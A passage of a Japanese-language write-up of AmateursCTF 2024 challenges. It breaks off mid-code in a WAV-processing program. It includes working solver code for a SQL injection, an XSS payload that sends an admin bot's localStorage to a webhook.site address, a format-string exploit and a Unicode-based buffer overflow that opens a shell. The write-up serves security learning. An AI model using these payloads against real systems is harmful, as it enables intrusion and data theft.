AmateursCTF 2024
一人さびしく参加して66位でした.楽しかったです.
denied [web]
const express = require('express') const app = express() const port = 3000 app.get('/', (req, res) => { if (req.method == "GET") return res.send("Bad!"); res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}") res.send('Winner!') }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
GETのメソッド以外でアクセスできればフラグがもらえる.
メソッドについて調べていたらHEAD
メソッドが見つかった.
developer.mozilla.org t HEADでアクセスするとフラグがもらえた.
curl -X "HEAD" http://denied.amt.rs/ -v
amateursCTF{s0_m@ny_0ptions...}
one-shot [web]
from flask import Flask, request, make_response import sqlite3 import os import re app = Flask(__name__) db = sqlite3.connect(":memory:", check_same_thread=False) flag = open("flag.txt").read() @app.route("/") def home(): return """ <h1>You have one shot.</h1> <form action="/new_session" method="POST"><input type="submit" value="New Session"></form> """ @app.route("/new_session", methods=["POST"]) def new_session(): id = os.urandom(8).hex() db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)") db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)") res = make_response(f""" <h2>Fragments scattered... Maybe a search will help?</h2> <form action="/search" method="POST"> <input type="hidden" name="id" value="{id}"> <input type="text" name="query" value=""> <input type="submit" value="Find"> </form> """) res.status = 201 return res @app.route("/search", methods=["POST"]) def search(): id = request.form["id"] if not re.match("[1234567890abcdef]{16}", id): return "invalid id" searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0] if searched: return "you've used your shot." db.execute(f"UPDATE table_{id} SET searched = 1") query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'") return f""" <h2>Your results:</h2> <ul> {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])} </ul> <h3>Ready to make your guess?</h3> <form action="/guess" method="POST"> <input type="hidden" name="id" value="{id}"> <input type="text" name="password" placehoder="Password"> <input type="submit" value="Guess"> </form> """ @app.route("/guess", methods=["POST"]) def guess(): id = request.form["id"] if not re.match("[1234567890abcdef]{16}", id): return "invalid id" result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone() if result != None: return flag db.execute(f"DROP TABLE table_{id}") return "You failed. <a href='/'>Go back</a>" @app.errorhandler(500) def ise(error): original = getattr(error, "original_exception", None) if type(original) == sqlite3.OperationalError and "no such table" in repr(original): return "that table is gone. <a href='/'>Go back</a>" return "Internal server error" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080)
入力に対してのバリデーションは以下のように行っている.
if not re.match("[1234567890abcdef]{16}", id): return "invalid id"
これだと,マッチする文字列の後ろに,任意の文字列を追加したものもマッチする.
>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef") False >>> not re.match("[1234567890abcdef]{16}","1234567890abcdef or") False
これを用いてIDの後にSQL injectionのペイロードを渡すとフラグがもらえるはずだ.
solver.py
import requests import re url = "http://one-shot.amt.rs/" res = requests.post(url + "new_session") # print(res.text) m = re.search("[1234567890abcdef]{16}", res.text) id = m.group(0) print(id) payload = id + " WHERE 1 = 1 OR password = ? --" print(payload) res = requests.post(url + "guess", data={"id": payload, "password": ""}) print(res.text)
実行したらフラグが得られた.
❯ python3 solver.py 95fce9b1ad95f09f 95fce9b1ad95f09f WHERE 1 = 1 OR password = ? -- <p>amateursCTF{go_union_select_a_life}</p> <br /> <h3>alternative flags (these won't work) (also do not share):</h3> <p> amateursCTF{UNION_SELECT_life_FROM_grass} <br /> amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br /> amateursCTF{union_more_like_onion_*cronch*} <br /> amateursCTF{who_is_this_Niko_everyone_is_talking_about} </p>
amateursCTF{go_union_select_a_life}
agile-rut [web]
ページのソースを見ると以下の通り.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>agile rut playground</title> <style> @font-face { font-family: 'Agile Rut'; src: url('agile-rut.otf'); } * { font-family: 'Agile Rut'; } textarea { font-size: 24px; } </style> </head> <body> <h1>Agile Rut</h1> <p>Check out my new font!! isn't it so cool!</p> <textarea cols="100" rows="100"></textarea> </body> </html>
静的なサイトで,あるフォントのテストページのよう.
フォントをダウンロードしてみてみる.フォント系の問題は大概,リガチャ.
webって感じはしない.
fontforge
で見てみるか,fonttools
を使う.
fontforge
はGUIで使いにくかったので,fonttools
を使った.
pip install fonttools ttx agile-rut.otf
実行すると,agile-rut.ttx
というファイルが出力される.
出力されたファイルを見ていると
<Ligature components="m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright" glyph="lig.j.u.s.t.a.n.a.m.e.o.k.xxxxxxxxx.xxxx.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.xxx.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.x.x.x.x.x.xxxx.xxxxxxxxxx.xxxxx.xxxxx.xxxxx.xxxxxxxxxx"/>
フラグっぽい
m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright
やる.根性か,スクリプトか.chatGPTにやらせた.
amateursctf{0k_but_1_dont_like_the_jbmon0_===}
sculpture [web]
index.html
<html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> </head> <body> <script type="text/javascript"> // output functions are configurable. This one just appends some text // to a pre element. function outf(text) { var mypre = document.getElementById("output"); mypre.innerHTML = mypre.innerHTML + text; } function builtinRead(x) { if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined) throw "File not found: '" + x + "'"; return Sk.builtinFiles["files"][x]; } // Here's everything you need to run a python program in skulpt // grab the code from your textarea // get a reference to your pre element for output // configure the output function // call Sk.importMainWithBody() function runit() { var prog = document.getElementById("yourcode").value; var mypre = document.getElementById("output"); mypre.innerHTML = ''; Sk.pre = "output"; Sk.configure({output:outf, read:builtinRead}); (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas'; var myPromise = Sk.misceval.asyncToPromise(function() { return Sk.importMainWithBody("<stdin>", false, prog, true); }); myPromise.then(function(mod) { console.log('success'); }, function(err) { console.log(err.toString()); }); } document.addEventListener("DOMContentLoaded",function(ev){ document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code")); runit(); }); </script> <h3>Try This</h3> <form> <textarea id="yourcode" cols="40" rows="10">import turtle t = turtle.Turtle() t.forward(100) print("Hello World") </textarea><br /> <button type="button" onclick="runit()">Run</button> </form> <pre id="output" ></pre> <!-- If you want turtle graphics include a canvas --> <div id="mycanvas"></div> </body> </html>
admin-bot-excerpt.js
// bot powered by the redpwn admin bot ofc ['sculpture', { name: 'sculpture', timeout: 10000, handler: async (url, ctx) => { const page = await ctx.newPage() console.log(await page.browser().version()); await page.goto("https://amateurs-ctf-2024-sculpture-challenge.pages.dev/", { timeout: 3000, waitUntil: 'domcontentloaded' }) await sleep(1000); await page.evaluate(() => { localStorage.setItem("flag", "amateursCTF{fak3_flag}") }) await sleep(1000); console.log("going to " + url) await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' }) await sleep(1000) }, urlRegex: /^https:\/\/amateurs-ctf-2024-sculpture-challenge\.pages\.dev/, }]
Adminに,XSSが生じるペイロードでページにアクセスしてもらい,adminのlocalStorageの値を取得する問題.
index.htmlを見てみると,skulpt
というクライアント側で,pythonを実行できるスクリプトが読み込まれている.
<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script>
pythonプログラムのアウトプットは以下のように出力される.
Sk.configure({output:outf, read:builtinRead});
function outf(text) { var mypre = document.getElementById("output"); mypre.innerHTML = mypre.innerHTML + text; }
outputをそのままinnerHTMLに入れているのでXSSが発生する.
さらに,code
パラメータにbase64エンコードされたコードがセットされている場合,以下の場所で,アクセスした時点でコードが実行される.
document.addEventListener("DOMContentLoaded",function(ev){ document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code")); runit(); });
特に制約はないので,webhooksite
とかにlocalstorageを投げるXSSするだけ.
以下payload.py
print("<h1>a</h1>") code = """ let flag = localStorage.getItem("flag"); fetch("https://webhook.site/~~~~~~~/?flag="+flag).then((res)=>{res.text()}).then((t)=>{console.log(t)}) """ print("<img src=x onerror='" + code + "'>")
solver.py
import requests import urllib.parse import base64 url = "https://amateurs-ctf-2024-sculpture-challenge.pages.dev/" f = open("payload.py") pycode = f.read() b = base64.b64encode(pycode.encode()) payload = url + "?code=" + urllib.parse.quote(b.decode()) print(payload) admin_url = "http://admin-bot.amt.rs/sculpture" res = requests.post(admin_url, data={"url": payload}) print(res.text)
実行するとフラグがもらえた.
amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}
typo [rev]
main.py
import random as RrRrRrrrRrRRrrRRrRRrrRr RrRrRrrrRrRRrrRRrRRrRrr = int('1665663c', 20) RrRrRrrrRrRRrrRRrRRrrRr.seed(RrRrRrrrRrRRrrRRrRRrRrr) arRRrrRRrRRrRRRrRrRRrRr = bytearray(open('flag.txt', 'rb').read()) arRRrrRrrRRrRRRrRrRRrRr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr' arRRrrRRrRRrRrRrRrRRrRr = [ b'arRRrrRRrRRrRRrRr', b'aRrRrrRRrRr', b'arRRrrRRrRRrRr', b'arRRrRrRRrRr', b'arRRrRRrRrrRRrRR' b'arRRrrRRrRRRrRRrRr', b'arRRrrRRrRRRrRr', b'arRRrrRRrRRRrRr' b'arRrRrRrRRRrrRrrrR', ] arRRRrRRrRRrRRRrRrRRrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr + 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr]) arRRrrRRrRRrRRRrRrRrrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr - 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr]) def arRRrrRRrRRrRrRRrRrrRrRr(hex): for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] return hex arRRRRRRrRRrRRRrRrRrrRr = [arRRrrRRrRRrRrRRrRrrRrRr, arRRRrRRrRRrRRRrRrRRrRr, arRRrrRRrRRrRRRrRrRrrRr] arRRRRRRrRRrRRRrRrRrrRr = [RrRrRrrrRrRRrrRRrRRrrRr.choice(arRRRRRRrRRrRRRrRrRrrRr) for arRrrrRRrRRrRRRrRrRrrRr in range(128)] def RrRrRrrrRrRRrrRRrRRrrRr(arr, ar): for r in ar: arr = arRRRRRRrRRrRRRrRrRrrRr[r](arr) return arr def arRRrrRRrRRrRrRRrRrrRrRr(arr, ar): ar = int(ar.hex(), 17) for r in arr: ar += int(r, 35) return bytes.fromhex(hex(ar)[2:]) arrRRrrrrRRrRRRrRrRRRRr = RrRrRrrrRrRRrrRRrRRrrRr(arRRrrRRrRRrRRRrRrRRrRr, arRRrrRrrRRrRRRrRrRRrRr.encode()) arrRRrrrrRRrRRRrRrRRRRr = arRRrrRRrRRrRrRRrRrrRrRr(arRRrrRRrRRrRrRrRrRRrRr, arrRRrrrrRRrRRRrRrRRRRr) print(arrRRrrrrRRrRRRrRrRRRRr.hex())
output.txt
5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3
タイポどころではない..
とりあえず脳筋ごり押しで,変数名等を置換していった.
import random as random seed = int("1665663c", 20) random.seed(seed) flag = bytearray(open("flag.txt", "rb").read()) regex_ = ( "\r" r"\r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"r\r" r"r\\r" "r" r"r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"rr\r" "\r" "r" "r\\" r"\r" "\r" "r\\\r" r"r\r" "\rr" ) bytes_table = [ b"arRRrrRRrRRrRRrRr", b"aRrRrrRRrRr", b"arRRrrRRrRRrRr", b"arRRrRrRRrRr", b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr", b"arRRrrRRrRRRrRr", b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR", ] plus_one = lambda x: bytearray([i + 1 for i in x]) minus_one = lambda x: bytearray([i - 1 for i in x]) def exchange_nibble(hex): for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] return hex func_table = [ exchange_nibble, plus_one, minus_one, ] func_table = [random.choice(func_table) for i in range(128)] def random_actions(arr, ar): for r in ar: arr = func_table[r](arr) return arr def crypto(arr, ar): ar = int(ar.hex(), 17) for r in arr: ar += int(r, 35) return bytes.fromhex(hex(ar)[2:]) c = random_actions(flag, regex_.encode()) c = crypto(bytes_table, c) print(c.hex()) print(regex_.encode())
あとはこの逆の手順で復号するプログラムを書く.
import random as random seed = int("1665663c", 20) random.seed(seed) regex_ = ( "\r" r"\r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"r\r" r"r\\r" "r" r"r" "r" "\\r" r"\\r\r" r"r" "r" "\\r" r"rr\r" "\r" "r" "r\\" r"\r" "\r" "r\\\r" r"r\r" "\rr" ) bytes_table = [ b"arRRrrRRrRRrRRrRr", b"aRrRrrRRrRr", b"arRRrrRRrRRrRr", b"arRRrRrRRrRr", b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr", b"arRRrrRRrRRRrRr", b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR", ] plus_one = lambda x: bytearray([i + 1 for i in x]) minus_one = lambda x: bytearray([i - 1 for i in x]) def exchange_nibble(hex): for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] return hex func_table = [ exchange_nibble, plus_one, minus_one, ] # func_table = [random.choice(func_table) for i in range(128)] def random_actions(arr, ar): for r in ar: arr = func_table[r](arr) return arr def crypto(arr, ar): ar = int(ar.hex(), 17) for r in arr: ar += int(r, 35) return bytes.fromhex(hex(ar)[2:]) choosen = [0, 1, 2] choosen = [random.choice(choosen) for i in range(128)] def exchange_nibble_rev(hex): for list in range(1, len(hex) - 1, 2): hex[list], hex[list + 1] = hex[list + 1], hex[list] for id in range(0, len(hex) - 1, 2): hex[id], hex[id + 1] = hex[id + 1], hex[id] return hex rev_func_table = [ exchange_nibble_rev, minus_one, plus_one, ] rev_func_table = [rev_func_table[i] for i in choosen] def random_actions_rev(arr, key): for r in key[::-1]: arr = rev_func_table[r](arr) return arr def to_base_n(number, base): # 基数が10より大きい場合、17進数用にaからgの文字列を使います digits = "0123456789abcdefghijklmnopq" result = "" while number > 0: # 17で割り、商と余りを求める remainder = number % base quotient = number // base # 余りを対応する文字に変換して結果の先頭に追加 result = digits[remainder] + result # 商を次のループの入力に設定 number = quotient # 結果を返す return result def decrypto(bytes_table, bytes_var): # x = int(bytes_var.hex(), 17) x = int(bytes_var.hex(), 16) for r in bytes_table: x -= int(r, 35) # print(hex(x)[2:]) a = to_base_n(x, 17) print(a) return bytes.fromhex(a) c = "5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3" c = bytes.fromhex(c) m = decrypto(bytes_table, c) m = random_actions_rev(m, regex_.encode()) print(m) print(m[::-1])
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}'
rev全然できなかった.(
bearsay [pwn]
❯ checksec chal [*] '/home/trimscash/amateurs/pwn/bearsay/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./lib'
ghidraでデコンパイル.
void rep(char param_1,int param_2) { long lVar1; long in_FS_OFFSET; int local_14; lVar1 = *(long *)(in_FS_OFFSET + 0x28); for (local_14 = 0; local_14 < param_2; local_14 = local_14 + 1) { putchar((int)param_1); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } void box(char param_1,char param_2,int param_3,char *param_4) { long lVar1; int iVar2; size_t sVar3; long in_FS_OFFSET; int local_1c; int local_18; lVar1 = *(long *)(in_FS_OFFSET + 0x28); sVar3 = strlen(param_4); iVar2 = (int)sVar3; rep((int)param_2,iVar2 + 4); putchar(10); for (local_1c = 0; local_1c < param_3; local_1c = local_1c + 1) { putchar((int)param_1); rep(0x20,iVar2 + 2); putchar((int)param_1); putchar(10); } putchar((int)param_1); putchar(0x20); printf(param_4); putchar(0x20); putchar((int)param_1); putchar(10); for (local_18 = 0; local_18 < param_3; local_18 = local_18 + 1) { putchar((int)param_1); rep(0x20,iVar2 + 2); putchar((int)param_1); putchar(10); } rep((int)param_2,iVar2 + 4); putchar(10); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ void main(void) { undefined8 uVar1; uint uVar2; int iVar3; char *pcVar4; FILE *__stream; size_t sVar5; long in_FS_OFFSET; char local_2018; char local_2017; char local_2016; char local_1018 [4104]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); setbuf(_stdout,(char *)0x0); uVar1 = rdtsc(); srand((uint)uVar1); while( true ) { while( true ) { while( true ) { printf(&DAT_00102044); fgets(&local_2018,0x1000,_stdin); pcVar4 = strchr(&local_2018,10); if (pcVar4 != (char *)0x0) { *pcVar4 = '\0'; } if (local_2018 != '\0') break; uVar2 = rand(); printf("confused bear %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8)); } iVar3 = strcmp("flag",&local_2018); if (iVar3 != 0) break; if (is_mother_bear != 0xbad0bad) { uVar2 = rand(); printf("ANGRY BEAR %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8)); /* WARNING: Subroutine does not return */ exit(1); } __stream = fopen("./flag.txt","r"); fgets(local_1018,0x1000,__stream); fclose(__stream); box(0x7c,0x2d,2,local_1018); puts("|\n|\n|"); uVar2 = rand(); puts(*(char **)(bears + (ulong)(uVar2 & 3) * 8)); } iVar3 = strcmp("leave",&local_2018); if (iVar3 == 0) { uVar2 = rand(); printf("lonely bear... %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8)); /* WARNING: Subroutine does not return */ exit(0); } if (((local_2018 == 'm') && (local_2017 == 'o')) && (local_2016 == 'o')) break; sVar5 = strlen(&local_2018); box(0x2a,0x2a,0,&local_2018); rep(0x20,(int)sVar5 / 2); puts("|"); uVar2 = rand(); pcVar4 = *(char **)(bears + (ulong)(uVar2 & 3) * 8); rep(0x20,(int)sVar5 / 2); puts(pcVar4); } puts("no."); /* WARNING: Subroutine does not return */ exit(1); }
観るとわかる通り,box関数に書式文字列攻撃ができる.
box関数
putchar(0x20); printf(param_4); putchar(0x20);
param_4
はmainの&local_2018
であり,これはユーザからの入力なので,%1$llx
やらを入力すればレジスターやスタックの値を見れる.
ソースを見たり,gdbで実験すればわかる通り,以下のように入力すれば,左からcanary
,base addr
,ret addr
がわかる.
❯ ./chal 🧸 say: %13$llx,%14$llx,%15$llx *************************** * 8134954c383e9a00,7ffc0b834330,55ff531c2678 * ***************************
これにより,任意のスタックのアドレスをスタックに入力時に積むことができ,それを%hhn
で指定することで,スタックの任意の1byteに値を書き込むことができる.
以下solver.py
from pwn import * io = remote("chal.amt.rs", 1338) # io = process("./chal") # io = gdb.debug("./chal", "b *box+180\nc") payload = b",%13$llx,%14$llx,%15$llx," io.sendlineafter(b"say:", payload) res = io.recvuntil(b"|") leaks = res.decode().split(",")[1:-1] print(leaks) main_addr = int(leaks[2], 16) - 702 # (<main+702>: stackbase_addr = int(leaks[1], 16) box_retaddr_addr = stackbase_addr - 0x2048 win_addr = main_addr + 0x126 print(hex(win_addr)) buf_offset = 22 format_str_len = 20 buf_addrs_offset = buf_offset + format_str_len payload = b"" prev = 0 c = 0 for i in p64(win_addr): print(i) t = (i - prev) % 256 if t == 0: t = 256 payload += f"%{t}c%{c+buf_addrs_offset}$hhn".encode("utf-8") prev = i c += 1 payload += b"a" * ((format_str_len * 8) - len(payload)) print(payload) for i in range(8): payload += p64(box_retaddr_addr + i) io.sendlineafter(b"say:", payload) io.interactive()
実行するとフラグが得られた.
amateursCTF{bearsay_mooooooooooooooooooo?}
buffer-overflow
chal.rs
use std::mem::ManuallyDrop; use std::ptr; use std::slice; use std::str; #[inline(never)] #[no_mangle] pub extern "C" fn uppercase(src: *const u8, srclen: usize, dst: *mut u8) { unsafe { let upper = ManuallyDrop::new( str::from_utf8(slice::from_raw_parts(src, srclen)) .unwrap() .to_uppercase(), ); let bytes = upper.as_bytes(); let bytes_ptr = bytes.as_ptr(); ptr::copy_nonoverlapping(bytes_ptr, dst, bytes.len()); } }
実行すると大文字にしてくれる.Cで以上のrustの関数を呼んでいる.
tomoyuki-nakabayashi.github.io
❯ ./chal a A
❯ checksec chal [*] '/home/trimscash/amateurs/pwn/buffer-overflow/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./lib'
セキュリティ機構はほとんどない.
ghidraでデコンパイル.
void win(void) { system("/bin/sh"); return; } undefined8 main(void) { long lVar1; undefined8 *puVar2; undefined8 uStack_1030; undefined8 local_1028 [513]; char *local_20; ssize_t local_18; long local_10; puVar2 = local_1028; for (lVar1 = 0x200; lVar1 != 0; lVar1 = lVar1 + -1) { *puVar2 = 0; puVar2 = puVar2 + 1; } uStack_1030 = 0x4011db; local_18 = read(0,local_1028,0x1000); if (local_18 < 0) { uStack_1030 = 0x4011ff; errx(1,"failed to read input"); } *(undefined *)((long)local_1028 + local_18 + -1) = 0; uStack_1030 = 0x401223; local_20 = strchr((char *)local_1028,10); if (local_20 == (char *)0x0) { local_10 = local_18 + -1; } else { *local_20 = '\0'; local_10 = (long)local_20 - (long)local_1028; } uStack_1030 = 0x401272; uppercase(local_1028,local_10,local_1028); uStack_1030 = 0x401281; puts((char *)local_1028); return 0; }
見てわかる通り,ユーザーの入力をrustで書かれた関数,uppercaseに入れている.
ここで,to_uppercase
のドキュメントを見てみよう.
// Sometimes the result is more than one character: assert_eq!('ß'.to_uppercase().to_string(), "SS");
とのことで,以下が変換表.
(今回のシステムではUTF-8なので注意)
入力できる文字数には制限があるので,この仕様を用いて,buf-overflow
する.
具体的には,ﬗ
を用いた.
FB17; FB17; 0544 056D; 0544 053D; # ARMENIAN SMALL LIGATURE MEN XEH
3bytesのこれがto_uppercase
により,մ
とխ
になる.
“մ” U+0574 Armenian Small Letter Men Unicode Character
“խ” U+056D Armenian Small Letter Xeh Unicode Character
つまり\xd5\x84\xd4\xbd
の4byteになる.
これでbuf overflowができる.
あとはret addrを書き換えるだけだが,ここで入力できる値はutf-8
の有効なbytesのみ.(無効なbytesを入れるとエラーが出て終わる)
ここで\x40
,\x12
は大丈夫なのだが,\xa0
とかは無効なので単純にはできない.
悩んで適当に文字を見ていたら,2byte目が\xa0
である文字があったのでそれを使えばいい.
https://www.compart.com/en/unicode/U+C2A0
しかし,このままだと,rspのが0x10byteの倍数でないので,movapsが使われている,systemに怒られる.
なので,push
した後の,0x4012a1
を使う.
\xc2\xa1
もある.슡
あとはsolver.pyを書く.
from pwn import * # io = process("./chal") io = remote("chal.amt.rs", 1337) # io = gdb.debug("./chal", "b *main+46\nc") system = 0x4012A1 overflow_len = 6 * 8 buf_len = 0x1000 payload = b"\xEF\xAC\x97" * overflow_len # ARMENIAN SMALL LIGATURE MEN XEH payload += b"a" * (buf_len - len(payload) - len(p64(system)) - 1) payload += b"\xc2" + p64(system) # c2 a1 슡 print(payload) io.sendline(payload) io.interactive()
実行するとシェルが取れた.
amateursCTF{i_love_unicodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
pwnはほかにheap問(56 solves)とか,sandbox問(34 solves)と思われる問題があったが,解かなかった(解けなかった).この問題はなぜか30 solvesだった. 難易度の表示がなかったのでこうなっているんだと思われる.(heapから逃げるな
bathroom-break [osint]
I was on an in-state skiing trip with my family when we decided to go out and see some sights. I remember needing to go to the bathroom near where these pictures were taken and then leaving a review. Can you find this review for me?
この近くのトイレを探せばいい.
google 画像検索をすると,以下のページが見つかった.
https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/
Hot Creek Geological Site, Mammoth Lakes, CA.
らしい.
この近くのトイレのレビューにリンク付きのレビューがあった.
Convenient bathroom. I really like this bathroom, since it's the only one in the area. It's also pretty clean in addition to convenient, which is great. t . l y / p h X h x
t.ly/phXhx
にアクセスするとフラグがあった.
amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}
cherry-blossoms [osint]
average southern californian reacts to DC weather. amazing scenery though at the time. Find the coords of this image! Grader Command: nc chal.amt.rs 1771
main.py
#!/usr/bin/env python3 # modified from HSCTF 10 grader import json with open("locations.json") as f: locations = json.load(f) wrong = False for i, coords in enumerate(locations, start=1): x2, y2 = coords x, y = map(float, input(f"Please enter the lat and long of the location: ").replace(",","").split(" ")) # increase if people have issues if abs(x2 - x) < 0.0010 and abs(y2 - y) < 0.0010: print("Correct! You have successfully determined the position of the camera.") else: print("Wrong! Try again after paying attention to the picture.") wrong = True if not wrong: with open("flag.txt") as f: print("Great job, the flag is ",f.read().strip()) else: print("Better luck next time ʕ·ᴥ·ʔ")
先日,ワシントンDCで桜祭りがあったとニュースで見た. 調べると桜祭りのマップが出てきた.
後ろにある旗は,ワシントン記念堂のものであると思われる.
これの外周を適当に見ていく.一番それらしいのがここだった.
38.8890507, -77.0335331
正しい座標を入力したらフラグがもらえるサーバーに,その座標を与えたら,フラグがもらえた.
amateursCTF{l00k1ng_l0v3ly_1n_4k}
densely-packed [misc]
wavファイルが渡される.
聴くとわかるが高速で何かをしゃべっていることがわかる.
wavのファイルヘッダーを書き換えて速度を落とす.
以前書いたプログラムを流用した.(かなり適当,無駄がある.
#include <math.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> typedef struct { char id[4]; // "RIFF" uint32_t size; // ファイルサイズ-8の数値 char form[4]; // "WAVE" } RIFFChunk; typedef struct { char id[4]; // "fmt " スペースも含まれるので注意 uint32_t size; // fmt領域のサイズ uint16_t format_id; // フォーマットID (PCM:1) uint16_t channel; // チャネル数 (モノラル:1 ステレオ:2) uint32_t fs; // サンプリング周波数 uint32_t byte_sec; // 1秒あたりのバイト数(fs×byte_samp) uint16_t byte_samp; // 1要素のバイト数(channel×(bit/8)) uint16_t bit; // 量子化ビット数(8 or 16) } FormatChunk; typedef struct { char id[4]; // "data" uint32_t size; // data領域のサイズ } DataChunk; double sampleNum(FormatChunk *f, DataChunk *d) { return d->size / (double)f->byte_samp; } double waveSeccond(FormatChunk *f, DataChunk *d) { return sampleNum(f, d) / f->fs; } void printFmt(FormatChunk *f) { printf("%s\n", f->id); printf("%d\n", f->size); printf("%d\n", f->format_id); printf("%d\n", f->channel); printf("%d\n", f->fs); printf("%d\n", f->byte_sec); printf("%d\n", f->byte_samp); printf("%d\n", f->bit); } void printRIFF(RIFFChunk *r) { printf("%s\n", r->id); printf("%d\n", r->size); printf("%s\n", r->form); } void printData(DataChunk *d) { printf("%s\n", d->id); printf("%d\n", d->size); } void wavToTxt(char *wave_file, char *txt_file) { FILE *fp; fp = fopen(wave_file, "rb"); if (fp == NULL) { perror("file not found"); } FILE *txt; txt = fopen(txt_file, "w"); if (txt == NULL) { perror("file cant open"); } RIFFChunk riff; FormatChunk fmt; DataChunk data_chunk; fread(&riff, sizeof(RIFFChunk), 1, fp); fread(&fmt, sizeof(FormatChunk), 1, fp); fread(&data_chunk, sizeof(DataChunk), 1, fp); uint16_t *data = (uint16_t *)malloc(data_chunk.size); fread(data, data_chunk.size, 1, fp); for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) { fprintf(txt, "%d\n", data[i]); } fclose(fp); fclose(txt); free(data); } void txtToWav(char *txt_file, char *wave_file) { FILE *wave_txt; wave_txt = fopen(txt_file, "r"); if (wave_txt == NULL) { perror("file not found"); } FILE *fp; fp = fopen(wave_file, "wb"); if (fp == NULL) { perror("file not found"); } char buf[100]; uint32_t sample_num = 0; while (fgets(buf, 90, wave_txt) != NULL) { sample_num++; } RIFFChunk riff = { "RIFF", 2130296, "WAVE"}; FormatChunk fmt = { "fmt ", 16, 1, 1, 11025, 22050, 2, 16}; DataChunk data_chunk = { "data", 2130260, }; riff.size = sample_num * (fmt.bit / 8) + sizeof(RIFFChunk) + sizeof(FormatChunk) + sizeof(DataChunk) - 8; fmt.byte_samp = fmt.channel * (fmt.bit / 8); fmt.byte_sec = fmt.fs * 